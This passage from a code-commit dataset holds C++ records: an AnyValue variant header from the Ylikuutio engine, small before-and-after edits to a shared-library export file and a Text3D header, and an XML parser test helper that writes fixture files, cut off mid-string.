License\n\/\/ along with this program.  If not, see <https:\/\/www.gnu.org\/licenses\/>.\n\n#ifndef __ANY_VALUE_HPP_INCLUDED\n#define __ANY_VALUE_HPP_INCLUDED\n\n#include \"datatype.hpp\"\n\n\/\/ Include GLM\n#ifndef __GLM_GLM_HPP_INCLUDED\n#define __GLM_GLM_HPP_INCLUDED\n#include <glm\/glm.hpp> \/\/ glm\n#endif\n\n\/\/ Include standard headers\n#include <iostream> \/\/ std::cout, std::cin, std::cerr\n#include <memory>   \/\/ std::make_shared, std::shared_ptr\n#include <string>   \/\/ std::string\n#include <stdint.h> \/\/ uint32_t etc.\n#include <variant>  \/\/ std::variant\n#include <vector>   \/\/ std::vector\n\nnamespace yli\n{\n    namespace ontology\n    {\n        class Entity;\n        class Movable;\n        class Universe;\n        class World;\n        class Scene;\n        class Shader;\n        class Material;\n        class Species;\n        class Object;\n        class Symbiosis;\n        class SymbiontMaterial;\n        class SymbiontSpecies;\n        class Holobiont;\n        class Biont;\n        class Font2D;\n        class Text2D;\n        class VectorFont;\n        class Glyph;\n        class Text3D;\n        class Console;\n        class ComputeTask;\n    }\n\n    namespace common\n    {\n        class AnyStruct;\n        struct SphericalCoordinatesStruct;\n\n        class AnyValue\n        {\n            public:\n                std::string get_datatype() const;\n                std::string get_string() const;\n                yli::ontology::Entity* get_entity_pointer() const;\n                bool set_value(const std::string& value_string);\n\n                \/\/ copy constructor.\n                AnyValue(const yli::common::AnyValue& original);\n\n                \/\/ common constructors.\n\n                AnyValue(); \/\/ This constructor initializes `AnyValue` with default values.\n                AnyValue(const std::string& type, const std::string& value_string); \/\/ This constructor takes also the value as a string.\n                AnyValue(const bool bool_value);\n                AnyValue(const char char_value);\n                AnyValue(const float float_value);\n                AnyValue(const double double_value);\n                AnyValue(const int32_t int32_t_value);\n                AnyValue(const uint32_t uint32_t_value);\n                AnyValue(bool* const bool_pointer);\n                AnyValue(char* const char_pointer);\n                AnyValue(float* const float_pointer);\n                AnyValue(double* const double_pointer);\n                AnyValue(int32_t* const int32_t_pointer);\n                AnyValue(uint32_t* const uint32_t_pointer);\n                AnyValue(yli::ontology::Entity* const entity_pointer);\n                AnyValue(yli::ontology::Movable* const movable_pointer);\n                AnyValue(const yli::ontology::Movable* const const_movable_pointer);\n                AnyValue(yli::ontology::Universe* const universe_pointer);\n                AnyValue(yli::ontology::World* const world_pointer);\n                AnyValue(yli::ontology::Scene* const scene_pointer);\n                AnyValue(yli::ontology::Shader* const shader_pointer);\n                AnyValue(yli::ontology::Material* const material_pointer);\n                AnyValue(yli::ontology::Species* const species_pointer);\n                AnyValue(yli::ontology::Object* const object_pointer);\n                AnyValue(yli::ontology::Symbiosis* const symbiosis_pointer);\n                AnyValue(yli::ontology::SymbiontMaterial* const symbiont_material_pointer);\n                AnyValue(yli::ontology::SymbiontSpecies* const symbiont_species_pointer);\n                AnyValue(yli::ontology::Holobiont* const holobiont_pointer);\n                AnyValue(yli::ontology::Biont* const biont_pointer);\n                AnyValue(yli::ontology::Font2D* const font2D_pointer);\n                AnyValue(yli::ontology::Text2D* const text2D_pointer);\n                AnyValue(yli::ontology::VectorFont* const vector_font_pointer);\n                AnyValue(yli::ontology::Glyph* const glyph_pointer);\n                AnyValue(yli::ontology::Text3D* const text3D_pointer);\n                AnyValue(yli::ontology::Console* const console_pointer);\n                AnyValue(yli::ontology::ComputeTask* const compute_task_pointer);\n                AnyValue(std::shared_ptr<yli::common::AnyValue> any_value_shared_ptr);\n                AnyValue(std::shared_ptr<yli::common::AnyStruct> any_struct_shared_ptr);\n                AnyValue(yli::common::SphericalCoordinatesStruct* const spherical_coordinates_struct_pointer);\n                AnyValue(std::string* const std_string_pointer);\n                AnyValue(const std::string* const const_std_string_pointer);\n                AnyValue(std::shared_ptr<std::vector<int8_t>> std_vector_int8_t_shared_ptr);\n                AnyValue(std::shared_ptr<std::vector<uint8_t>> std_vector_uint8_t_shared_ptr);\n                AnyValue(std::shared_ptr<std::vector<int16_t>> std_vector_int16_t_shared_ptr);\n                AnyValue(std::shared_ptr<std::vector<uint16_t>> std_vector_uint16_t_shared_ptr);\n                AnyValue(std::shared_ptr<std::vector<int32_t>> std_vector_int32_t_shared_ptr);\n                AnyValue(std::shared_ptr<std::vector<uint32_t>> std_vector_uint32_t_shared_ptr);\n                AnyValue(std::shared_ptr<std::vector<float>> std_vector_float_shared_ptr);\n                AnyValue(std::shared_ptr<glm::vec3> const glm_vec3_shared_ptr);\n                AnyValue(std::shared_ptr<glm::vec4> const glm_vec4_shared_ptr);\n\n                AnyValue(const std::string& type, const bool bool_value);\n                AnyValue(const std::string& type, const char char_value);\n                AnyValue(const std::string& type, const float float_value);\n                AnyValue(const std::string& type, const double double_value);\n                AnyValue(const std::string& type, const int32_t int32_t_value);\n                AnyValue(const std::string& type, const uint32_t uint32_t_value);\n                AnyValue(const std::string& type, bool* const bool_pointer);\n                AnyValue(const std::string& type, char* const char_pointer);\n                AnyValue(const std::string& type, float* const float_pointer);\n                AnyValue(const std::string& type, double* const double_pointer);\n                AnyValue(const std::string& type, int32_t* const int32_t_pointer);\n                AnyValue(const std::string& type, uint32_t* const uint32_t_pointer);\n                AnyValue(const std::string& type, yli::ontology::Entity* const entity_pointer);\n                AnyValue(const std::string& type, yli::ontology::Movable* const movable_pointer);\n                AnyValue(const std::string& type, const yli::ontology::Movable* const const_movable_pointer);\n                AnyValue(const std::string& type, yli::ontology::Universe* const universe_pointer);\n                AnyValue(const std::string& type, yli::ontology::World* const world_pointer);\n                AnyValue(const std::string& type, yli::ontology::Scene* const scene_pointer);\n                AnyValue(const std::string& type, yli::ontology::Shader* const shader_pointer);\n                AnyValue(const std::string& type, yli::ontology::Material* const material_pointer);\n                AnyValue(const std::string& type, yli::ontology::Species* const species_pointer);\n                AnyValue(const std::string& type, yli::ontology::Object* const object_pointer);\n                AnyValue(const std::string& type, yli::ontology::Symbiosis* const symbiosis_pointer);\n                AnyValue(const std::string& type, yli::ontology::SymbiontMaterial* const symbiont_material_pointer);\n                AnyValue(const std::string& type, yli::ontology::SymbiontSpecies* const symbiont_species_pointer);\n                AnyValue(const std::string& type, yli::ontology::Holobiont* const holobiont_pointer);\n                AnyValue(const std::string& type, yli::ontology::Biont* const biont_pointer);\n                AnyValue(const std::string& type, yli::ontology::Font2D* const font2D_pointer);\n                AnyValue(const std::string& type, yli::ontology::Text2D* const text2D_pointer);\n                AnyValue(const std::string& type, yli::ontology::VectorFont* const vector_font_pointer);\n                AnyValue(const std::string& type, yli::ontology::Glyph* const glyph_pointer);\n                AnyValue(const std::string& type, yli::ontology::Text3D* const text3D_pointer);\n                AnyValue(const std::string& type, yli::ontology::Console* const console_pointer);\n                AnyValue(const std::string& type, yli::ontology::ComputeTask* const compute_task_pointer);\n                AnyValue(const std::string& type, std::shared_ptr<yli::common::AnyValue> any_value_shared_ptr);\n                AnyValue(const std::string& type, std::shared_ptr<yli::common::AnyStruct> any_struct_shared_ptr);\n                AnyValue(const std::string& type, yli::common::SphericalCoordinatesStruct* const spherical_coordinates_struct_pointer);\n                AnyValue(const std::string& type, std::string* const std_string_pointer);\n                AnyValue(const std::string& type, const std::string* const const_std_string_pointer);\n                AnyValue(const std::string& type, std::shared_ptr<std::vector<int8_t>> std_vector_int8_t_shared_ptr);\n                AnyValue(const std::string& type, std::shared_ptr<std::vector<uint8_t>> std_vector_uint8_t_shared_ptr);\n                AnyValue(const std::string& type, std::shared_ptr<std::vector<int16_t>> std_vector_int16_t_shared_ptr);\n                AnyValue(const std::string& type, std::shared_ptr<std::vector<uint16_t>> std_vector_uint16_t_shared_ptr);\n                AnyValue(const std::string& type, std::shared_ptr<std::vector<int32_t>> std_vector_int32_t_shared_ptr);\n                AnyValue(const std::string& type, std::shared_ptr<std::vector<uint32_t>> std_vector_uint32_t_shared_ptr);\n                AnyValue(const std::string& type, std::shared_ptr<std::vector<float>> std_vector_float_shared_ptr);\n                AnyValue(const std::string& type, std::shared_ptr<glm::vec3> const glm_vec3_shared_ptr);\n                AnyValue(const std::string& type, std::shared_ptr<glm::vec4> const glm_vec3_shared_ptr);\n\n                yli::common::Datatype type;\n\n                std::variant<\n                    bool,\n                    char,\n                    float,\n                    double,\n                    int32_t,\n                    uint32_t,\n                    bool*,\n                    char*,\n                    float*,\n                    double*,\n                    int32_t*,\n                    uint32_t*,\n                    yli::ontology::Entity*,\n                    yli::ontology::Movable*,\n                    const yli::ontology::Movable*,\n                    yli::ontology::Universe*,\n                    yli::ontology::World*,\n                    yli::ontology::Scene*,\n                    yli::ontology::Shader*,\n                    yli::ontology::Material*,\n                    yli::ontology::Species*,\n                    yli::ontology::Object*,\n                    yli::ontology::Symbiosis*,\n                    yli::ontology::SymbiontMaterial*,\n                    yli::ontology::SymbiontSpecies*,\n                    yli::ontology::Holobiont*,\n                    yli::ontology::Biont*,\n                    yli::ontology::Font2D*,\n                    yli::ontology::Text2D*,\n                    yli::ontology::VectorFont*,\n                    yli::ontology::Glyph*,\n                    yli::ontology::Text3D*,\n                    yli::ontology::Console*,\n                    yli::ontology::ComputeTask*,\n                    std::shared_ptr<yli::common::AnyValue>,\n                    std::shared_ptr<yli::common::AnyStruct>,\n                    std::shared_ptr<std::vector<int8_t>>,\n                    std::shared_ptr<std::vector<uint8_t>>,\n                    std::shared_ptr<std::vector<int16_t>>,\n                    std::shared_ptr<std::vector<uint16_t>>,\n                    std::shared_ptr<std::vector<int32_t>>,\n                    std::shared_ptr<std::vector<uint32_t>>,\n                    std::shared_ptr<std::vector<float>>,\n                    std::shared_ptr<glm::vec3>,\n                    std::shared_ptr<glm::vec4>,\n                    yli::common::SphericalCoordinatesStruct*,\n                    std::string*,\n                    const std::string*\n                    > data;\n\n            private:\n                void set_default_values();\n        };\n    }\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * @file   libtbshare.cpp\n * @brief  libtbshare entry-point.\n * @author zer0\n * @date   2016-04-17\n * @date   2016-10-14 (Rename: libtbag_test -> libtbtest)\n * @date   2016-10-25 (Rename: libtbtest -> tbshare)\n * @date   2017-04-12 (Rename: tbshare -> libtbshare)\n *\/\n\n#if defined(USE_LIBTEST_EXPORT)\n# if defined(WIN32) || defined(_WIN32)\n#  define LIBTBAG_TEST_EXPORT __declspec(dllexport)\n# elif defined(__GNUC__)\n#  define LIBTBAG_TEST_EXPORT __attribute__((visibility(\"default\")))\n# else\n#  define LIBTBAG_TEST_EXPORT\n# endif\n#else \/\/ defined(USE_LIBTEST_EXPORT)\n# if defined(WIN32) || defined(_WIN32)\n#  define LIBTBAG_TEST_EXPORT __declspec(dllimport)\n# else\n#  define LIBTBAG_TEST_EXPORT\n# endif\n#endif \/\/ defined(TBAG_EXPORT_API)\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n\/* Add function test. *\/\nLIBTBAG_TEST_EXPORT int tbshare_add(int v1, int v2)\n{\n    return v1 + v2;\n}\n\n\/* Add function test2. *\/\nLIBTBAG_TEST_EXPORT void tbshare_add2(int v1, int v2, int * result)\n{\n    if (result != nullptr) {\n        *result = v1 + v2;\n    }\n}\n\n#if defined(__cplusplus)\n} \/* extern \"C\" *\/\n#endif\n\n<commit_msg>Trivial commit.<commit_after>\/**\n * @file   libtbshare.cpp\n * @brief  libtbshare entry-point.\n * @author zer0\n * @date   2016-04-17\n * @date   2016-10-14 (Rename: libtbag_test -> libtbtest)\n * @date   2016-10-25 (Rename: libtbtest -> tbshare)\n * @date   2017-04-12 (Rename: tbshare -> libtbshare)\n *\/\n\n#if defined(USE_LIBTEST_EXPORT)\n# if defined(WIN32) || defined(_WIN32)\n#  define LIBTBAG_TEST_EXPORT __declspec(dllexport)\n# elif defined(__GNUC__)\n#  define LIBTBAG_TEST_EXPORT __attribute__((visibility(\"default\")))\n# else\n#  define LIBTBAG_TEST_EXPORT\n# endif\n#else \/\/ defined(USE_LIBTEST_EXPORT)\n# if defined(WIN32) || defined(_WIN32)\n#  define LIBTBAG_TEST_EXPORT __declspec(dllimport)\n# else\n#  define LIBTBAG_TEST_EXPORT\n# endif\n#endif \/\/ defined(USE_LIBTEST_EXPORT)\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n\/* Add function test. *\/\nLIBTBAG_TEST_EXPORT int tbshare_add(int v1, int v2)\n{\n    return v1 + v2;\n}\n\n\/* Add function test2. *\/\nLIBTBAG_TEST_EXPORT void tbshare_add2(int v1, int v2, int * result)\n{\n    if (result != nullptr) {\n        *result = v1 + v2;\n    }\n}\n\n#if defined(__cplusplus)\n} \/* extern \"C\" *\/\n#endif\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Ylikuutio - A 3D game and simulation engine.\n\/\/\n\/\/ Copyright (C) 2015-2021 Antti Nuortimo.\n\/\/\n\/\/ This program is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU Affero General Public License as\n\/\/ published by the Free Software Foundation, either version 3 of the\n\/\/ License, or (at your option) any later version.\n\/\/\n\/\/ This program is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\/\/ GNU Affero General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Affero General Public License\n\/\/ along with this program.  If not, see <https:\/\/www.gnu.org\/licenses\/>.\n\n#ifndef __YLIKUUTIO_ONTOLOGY_TEXT_3D_HPP_INCLUDED\n#define __YLIKUUTIO_ONTOLOGY_TEXT_3D_HPP_INCLUDED\n\n#include \"movable.hpp\"\n#include \"parent_module.hpp\"\n#include \"glyph_object_creation.hpp\"\n#include \"text_3d_struct.hpp\"\n\n\/\/ Include standard headers\n#include <cstddef>  \/\/ std::size_t\n#include <string>   \/\/ std::string\n\nnamespace yli::ontology\n{\n    class Universe;\n    class Object;\n    class ParentModule;\n    class MasterModule;\n    class VectorFont;\n\n    class Text3D: public yli::ontology::Movable\n    {\n        public:\n            \/\/ this method deletes all glyph Objects of this `Text3D`,\n            \/\/ sets pointer to this `Text3D` to `nullptr`,\n            \/\/ sets `parent` according to the input (the new `VectorFont`),\n            \/\/ requests a new `childID` from the new `VectorFont`,\n            \/\/ and creates all glyph Objects of this `Text3D` with the font data.\n            \/\/ Note: different fonts may provide glyphs for different Unicodes!\n            void bind_to_new_parent(yli::ontology::VectorFont* const new_vector_font_pointer);\n\n            Text3D(\n                    yli::ontology::Universe* const universe,\n                    const yli::ontology::Text3DStruct& text_3d_struct,\n                    yli::ontology::ParentModule* const parent_module,\n                    yli::ontology::MasterModule* const master_module)\n                : Movable(\n                        universe,\n                        text_3d_struct,\n                        parent_module,\n                        master_module),\n                parent_of_objects(this)\n            {\n                \/\/ constructor.\n\n                \/\/ TODO: `Text3D` constructor also creates each `Object`,\n                \/\/ and binds each to its corresponding `Glyph` for rendering hierarchy,\n                \/\/ and also binds each to this `Text3D` for ontological hierarchy.\n\n                this->text_string  = text_3d_struct.text_string;\n\n                \/\/ Let's create each glyph `Object` in a loop.\n\n                yli::ontology::create_glyph_objects(this->text_string, this);\n\n                \/\/ `yli::ontology::Entity` member variables begin here.\n                this->type_string = \"yli::ontology::Text3D*\";\n                this->can_be_erased = true;\n            }\n\n            Text3D(const Text3D&) = delete;            \/\/ Delete copy constructor.\n            Text3D& operator=(const Text3D&) = delete; \/\/ Delete copy assignment.\n\n            \/\/ destructor.\n            virtual ~Text3D();\n\n            friend class Object;\n            friend void create_glyph_objects(const std::string& text_string, yli::ontology::Text3D* text_3d);\n\n            yli::ontology::ParentModule parent_of_objects;\n\n        private:\n            std::size_t get_number_of_children() const override;\n            std::size_t get_number_of_descendants() const override;\n\n            std::string text_string;\n    };\n}\n\n#endif\n<commit_msg>Edit whitespace.<commit_after>\/\/ Ylikuutio - A 3D game and simulation engine.\n\/\/\n\/\/ Copyright (C) 2015-2021 Antti Nuortimo.\n\/\/\n\/\/ This program is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU Affero General Public License as\n\/\/ published by the Free Software Foundation, either version 3 of the\n\/\/ License, or (at your option) any later version.\n\/\/\n\/\/ This program is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\/\/ GNU Affero General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Affero General Public License\n\/\/ along with this program.  If not, see <https:\/\/www.gnu.org\/licenses\/>.\n\n#ifndef __YLIKUUTIO_ONTOLOGY_TEXT_3D_HPP_INCLUDED\n#define __YLIKUUTIO_ONTOLOGY_TEXT_3D_HPP_INCLUDED\n\n#include \"movable.hpp\"\n#include \"parent_module.hpp\"\n#include \"glyph_object_creation.hpp\"\n#include \"text_3d_struct.hpp\"\n\n\/\/ Include standard headers\n#include <cstddef>  \/\/ std::size_t\n#include <string>   \/\/ std::string\n\nnamespace yli::ontology\n{\n    class Universe;\n    class Object;\n    class ParentModule;\n    class MasterModule;\n    class VectorFont;\n\n    class Text3D: public yli::ontology::Movable\n    {\n        public:\n            \/\/ this method deletes all glyph Objects of this `Text3D`,\n            \/\/ sets pointer to this `Text3D` to `nullptr`,\n            \/\/ sets `parent` according to the input (the new `VectorFont`),\n            \/\/ requests a new `childID` from the new `VectorFont`,\n            \/\/ and creates all glyph Objects of this `Text3D` with the font data.\n            \/\/ Note: different fonts may provide glyphs for different Unicodes!\n            void bind_to_new_parent(yli::ontology::VectorFont* const new_vector_font_pointer);\n\n            Text3D(\n                    yli::ontology::Universe* const universe,\n                    const yli::ontology::Text3DStruct& text_3d_struct,\n                    yli::ontology::ParentModule* const parent_module,\n                    yli::ontology::MasterModule* const master_module)\n                : Movable(\n                        universe,\n                        text_3d_struct,\n                        parent_module,\n                        master_module),\n                parent_of_objects(this)\n            {\n                \/\/ constructor.\n\n                \/\/ TODO: `Text3D` constructor also creates each `Object`,\n                \/\/ and binds each to its corresponding `Glyph` for rendering hierarchy,\n                \/\/ and also binds each to this `Text3D` for ontological hierarchy.\n\n                this->text_string = text_3d_struct.text_string;\n\n                \/\/ Let's create each glyph `Object` in a loop.\n\n                yli::ontology::create_glyph_objects(this->text_string, this);\n\n                \/\/ `yli::ontology::Entity` member variables begin here.\n                this->type_string = \"yli::ontology::Text3D*\";\n                this->can_be_erased = true;\n            }\n\n            Text3D(const Text3D&) = delete;            \/\/ Delete copy constructor.\n            Text3D& operator=(const Text3D&) = delete; \/\/ Delete copy assignment.\n\n            \/\/ destructor.\n            virtual ~Text3D();\n\n            friend class Object;\n            friend void create_glyph_objects(const std::string& text_string, yli::ontology::Text3D* text_3d);\n\n            yli::ontology::ParentModule parent_of_objects;\n\n        private:\n            std::size_t get_number_of_children() const override;\n            std::size_t get_number_of_descendants() const override;\n\n            std::string text_string;\n    };\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/**\r\n * NMXmlParserExperiment.cc\r\n *\r\n *\r\n * Copyright(c) 2003 Rodrigo Barra\r\n * All rights reserved.\r\n *\/\r\n#include <NMXmlParserExperiment.h>\r\n#include <ClassServer.h>\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n#include <exceptions.h>\r\n#ifndef WIN32\r\n#include <unistd.h>\r\n#endif\r\n#include <Link.h>\r\n#include <TLB.h>\r\n#include <cxxtest\/TestSuite.h>\r\n\r\n#include <cstdlib>\r\nusing namespace std;\r\n\r\n#ifdef WIN32\r\n#include <fcntl.h>\r\n#include <io.h>\r\n#define _S_IREAD 256\r\n#define _S_IWRITE 128\r\nint mkstemp(char *tmpl)\r\n{\r\n\tint ret=-1;\r\n\t_mktemp(tmpl); \r\n\tret=open(tmpl,O_RDWR|O_BINARY|O_CREAT|O_EXCL|_O_SHORT_LIVED, _S_IREAD|_S_IWRITE); \r\n\treturn ret;\r\n}\r\n\r\n#endif\r\n\r\nbool NMXmlParserExperiment::noCheck = false;\r\nchar *NMXmlParserExperiment::currentFileName = NULL;\r\nint NMXmlParserExperiment::currentExperiment = -1;\r\n\r\nHandle NMXmlParserExperiment::sport = NULL;\r\nHandle NMXmlParserExperiment::soccer = NULL;\r\nHandle NMXmlParserExperiment::link_sport_socker = NULL;\r\nHandle NMXmlParserExperiment::hihger_order_link = NULL;\r\nAtomSpace* NMXmlParserExperiment::atomSpace = NULL;\r\n\r\nvoid NMXmlParserExperiment::initStaticVars() {\r\n\tNMXmlParserExperiment::noCheck = false;\r\n\tNMXmlParserExperiment::currentFileName = NULL;\r\n\tNMXmlParserExperiment::currentExperiment = -1;\r\n\r\n\tNMXmlParserExperiment::sport = NULL;\r\n\tNMXmlParserExperiment::soccer = NULL;\r\n\tNMXmlParserExperiment::link_sport_socker = NULL;\r\n\tNMXmlParserExperiment::hihger_order_link = NULL;\r\n\tNMXmlParserExperiment::atomSpace = NULL;\r\n}\r\n\r\nint NMXmlParserExperiment::getNExperiments(){\r\n\treturn(NNMXMLXMLEXPERIMENTS);\r\n}\r\n\r\nvoid NMXmlParserExperiment::createExperiment(int exp, AtomSpace* as){\r\n\tif ((exp < 0) || (exp > NNMXMLXMLEXPERIMENTS)){\r\n\t    throw new RuntimeException(TRACE_INFO, \"Invalid Experiment\\n\");\r\n\t}\r\n\r\n\tif (currentExperiment != -1){\r\n\t\tthrow new RuntimeException(TRACE_INFO, \"Tried to start a new experiment without destroying the last one\");\r\n\t}\r\n\r\n\tcurrentExperiment = exp;\r\n\t\r\n\t\/\/currentFileName = strdup(\"\/var\/tmp\/xmltest.XXXXXX\");\r\n\tcurrentFileName = strdup(\"xmltest.XXXXXX\");\r\n    printf(\"just allocated currentFileName = %s\\n\", currentFileName);\r\n\t\r\n\tint fd = mkstemp(currentFileName);\r\n    printf(\"after mkstemp currentFileName = %s\\n\", currentFileName);\r\n\r\n\tif (fd == -1){\r\n\t\tthrow new RuntimeException(TRACE_INFO, \"Could not create temporary file\\n\");\r\n\t}\r\n\r\n\twrite(fd, expContents[exp%2], strlen(expContents[exp%2]));\r\n   \r\n\tclose(fd);\r\n\r\n    if (atomSpace) delete atomSpace;\r\n    atomSpace = as;    \r\n}\r\n\r\nbool NMXmlParserExperiment::checkExperiment(){\r\n    if (noCheck) {\r\n        return (true);\r\n    }\r\n\tif (currentExperiment == -1){\r\n\t\treturn(true);\r\n\t}\r\n\tswitch (currentExperiment){\r\n\tcase 0:\r\n\t\treturn(checkExp0());\r\n\t\tbreak;\r\n\tcase 1:\r\n\t\treturn(checkExp1());\r\n\t\tbreak;\r\n\t}\r\n\treturn(false);\r\n}\r\n\r\nAtomSpace* NMXmlParserExperiment::destroyExperiment(bool cleanup){\r\n\tif (currentExperiment == -1){\r\n\t\treturn atomSpace;\r\n\t}\r\n    printf(\"currentFileName = %s\\n\", currentFileName);\r\n\tremove(currentFileName);\r\n#ifndef WIN32 \/\/ For some reason, this causes error on Windows\r\n\tfree(currentFileName);\r\n#endif\r\n\tcurrentFileName = NULL;\r\n\tcurrentExperiment = -1;\r\n    if (cleanup) {\r\n    \tcleanupAtomSpace();\r\n    }\r\n    return atomSpace;\r\n}\r\n\r\nAtomSpace* NMXmlParserExperiment::cleanupAtomSpace(){\r\n    delete atomSpace;\r\n    atomSpace = new AtomSpace();\r\n    return atomSpace;\r\n}\r\n\r\nAtomSpace* NMXmlParserExperiment::getAtomSpace(){\r\n    return atomSpace;\r\n}\r\n\r\nbool NMXmlParserExperiment::checkExp0()\r\n{\r\n\tsoccer = atomSpace->getHandle(WORD_NODE, \"soccer\");\r\n\tsport = atomSpace->getHandle(WORD_NODE, \"sport\");\r\n\r\n\tTS_ASSERT(soccer != NULL);\r\n\tTS_ASSERT(sport != NULL);\r\n\tif ((!soccer) || (!sport)){\r\n\t\treturn(false);\r\n\t}\r\n\t\r\n\tstd::vector<Handle> handles;\r\n\tatomSpace->getHandleSet(back_inserter(handles), INHERITANCE_LINK, true);\t\r\n\r\n\tTS_ASSERT(handles.size() == 1);\r\n\tif (handles.size() != 1){\r\n\t\treturn(false);\r\n\t}\r\n\tAtom *atom = TLB::getAtom((Handle)handles[0]);\r\n\tlink_sport_socker = handles[0];\r\n\r\n\tTS_ASSERT((atom->getOutgoingSet()[0]) == soccer);\r\n\tTS_ASSERT((atom->getOutgoingSet()[1]) == sport);\r\n\tif ((atom->getOutgoingSet()[0] != soccer) ||\r\n\t\t(atom->getOutgoingSet()[1] != sport)){\r\n\t\treturn(false);\r\n\t}\r\n\r\n\treturn(true);\r\n}\r\n\r\nbool NMXmlParserExperiment::checkExp1(){\r\n\t\r\n\tsoccer = atomSpace->getHandle(WORD_NODE, \"soccer\");\r\n\tsport = atomSpace->getHandle(WORD_NODE, \"sport\");\r\n\t\r\n\tTS_ASSERT(soccer != NULL);\r\n\tTS_ASSERT(sport != NULL);\r\n\tif ((!soccer) || (!sport)){\r\n\t\treturn(false);\r\n\t}\r\n\t\r\n\tHandleEntry* entry = atomSpace->getAtomTable().getHandleSet(INHERITANCE_LINK, true);\r\n\t\r\n\tstd::vector<Handle> handles;\r\n\tatomSpace->getHandleSet(back_inserter(handles), INHERITANCE_LINK, true);\r\n\tTS_ASSERT(handles.size() == 0);\r\n\t\r\n\tatomSpace->getHandleSet(back_inserter(handles), INHERITANCE_LINK, true);\r\n\tTS_ASSERT(handles.size() == 2);\r\n\tif (handles.size() != 2){\r\n\t\treturn(false);\r\n\t}\t\r\n\t\r\n\tTS_ASSERT(entry == NULL);\r\n\t\r\n\tlink_sport_socker = NULL;\r\n\tAtom *atom = NULL;\r\n\tstd::vector<Handle>::iterator it;\r\n\tfor(it = handles.begin(); it != handles.end(); it++){\r\n\t\tatom = TLB::getAtom((Handle)*it);\r\n\t\tif (atom->getIncomingSet()->getSize() == 1){\r\n\t\t\tTS_ASSERT(link_sport_socker == NULL);\r\n\t\t\tlink_sport_socker = (Handle)*it;\r\n\t\t}\r\n\t}\r\n\thandles.clear();\r\n\t\r\n\tTS_ASSERT(link_sport_socker != NULL);\r\n\tTS_ASSERT((atom->getOutgoingSet()[0]) == soccer);\r\n\tTS_ASSERT((atom->getOutgoingSet()[1]) == sport);\r\n\tif ((atom->getOutgoingSet()[0] != soccer) ||\r\n\t\t(atom->getOutgoingSet()[1] != sport)){\r\n\t\treturn(false);\r\n\t}\r\n\t\t\r\n\tatomSpace->getHandleSet(back_inserter(handles), MEMBER_LINK, true);\r\n\t\r\n\r\n\tTS_ASSERT(handles.size() == 1);\t\r\n\tif (handles.size() != 1){\r\n\t\treturn(false);\r\n\t}\r\n\tatom = TLB::getAtom((Handle)handles[0]);\r\n\thihger_order_link = handles[0];\r\n\r\n\tTS_ASSERT(atom->getOutgoingSet()[0] == link_sport_socker);\r\n\tTS_ASSERT(atom->getOutgoingSet()[1] == soccer);\t\r\n\tif ((atom->getOutgoingSet()[0] != link_sport_socker) ||\r\n\t\t(atom->getOutgoingSet()[1] != soccer)){\r\n\t\treturn(false);\r\n\t}\r\n\t\r\n\t\r\n\/*\t\r\n\tentry = atomSpace->getAtomTable()->getHandleSet(INHERITANCE_LINK, true);\t\r\n\r\n\tTS_ASSERT(entry->getSize() == 2);\r\n\tif (entry->getSize() != 2){\r\n\t\tdelete entry;\r\n\t\treturn(false);\r\n\t}\r\n\t\r\n\tlink_sport_socker = NULL;\r\n\tAtom *atom = NULL;\r\n\t\r\n\tHandleEntry *it = entry;\r\n\twhile (it){\r\n\t\tatom = it->getAtom();\r\n\t\tif (atom->getIncomingSet()->getSize() == 1){\r\n\t\t\tTS_ASSERT(link_sport_socker == NULL);\r\n\t\t\tlink_sport_socker = it->handle;\r\n\t\t}\r\n\t\tit = it->next;\r\n\t}\r\n\tdelete entry;\r\n\t\r\n\tTS_ASSERT(link_sport_socker != NULL);\r\n\r\n\tTS_ASSERT(TLB::getHandle(atom->getOutgoingSet()[0]) == soccer);\r\n\tTS_ASSERT(TLB::getHandle(atom->getOutgoingSet()[1]) == sport);\r\n\tif ((atom->getOutgoingSet()[0] != soccer) ||\r\n\t\t(atom->getOutgoingSet()[1] != sport)){\r\n\t\treturn(false);\r\n\t}\r\n\t\r\n\tentry = atomSpace->getAtomTable()->getHandleSet(MEMBER_LINK, true);\r\n\t\r\n\r\n\tTS_ASSERT(entry->getSize() == 1);\t\r\n\tif (entry->getSize() != 1){\r\n\t\tdelete entry;\r\n\t\treturn(false);\r\n\t}\r\n\tatom = entry->getAtom();\r\n\thihger_order_link = entry->handle;\r\n\tdelete entry;\r\n\r\n\tTS_ASSERT(atom->getOutgoingSet()[0] == link_sport_socker);\r\n\tTS_ASSERT(atom->getOutgoingSet()[1] == soccer);\t\r\n\tif ((atom->getOutgoingSet()[0] != link_sport_socker) ||\r\n\t\t(atom->getOutgoingSet()[1] != soccer)){\r\n\t\treturn(false);\r\n\t}\r\n*\/\r\n\treturn(true);\r\n}\r\n\r\n\r\nchar *NMXmlParserExperiment::expContents[NNMXMLXMLEXPERIMENTS] = {\r\n\"<?xml version=\\\"1.0\\\"?> \\\r\n<list> \\\r\n<tagdescription> \\\r\n<tag name=\\\"WordNode\\\" value=\\\"WordNode\\\"\/> \\\r\n<tag name=\\\"InheritanceLink\\\" value=\\\"InheritanceLink\\\"\/> \\\r\n<\/tagdescription> \\\r\n<WordNode name=\\\"soccer\\\" timestamp=\\\"3422826\\\"\/> \\\r\n<WordNode name=\\\"sport\\\" timestamp=\\\"3422826\\\"\/> \\\r\n<InheritanceLink hyp=\\\"hyp_1\\\" strength=\\\"1.0\\\" confidence=\\\"0.95\\\"> \\\r\n<Element name=\\\"soccer\\\" class=\\\"WordNode\\\"\/> \\\r\n<Element name=\\\"sport\\\" class=\\\"WordNode\\\"\/> \\\r\n<\/InheritanceLink> \\\r\n<InheritanceLink 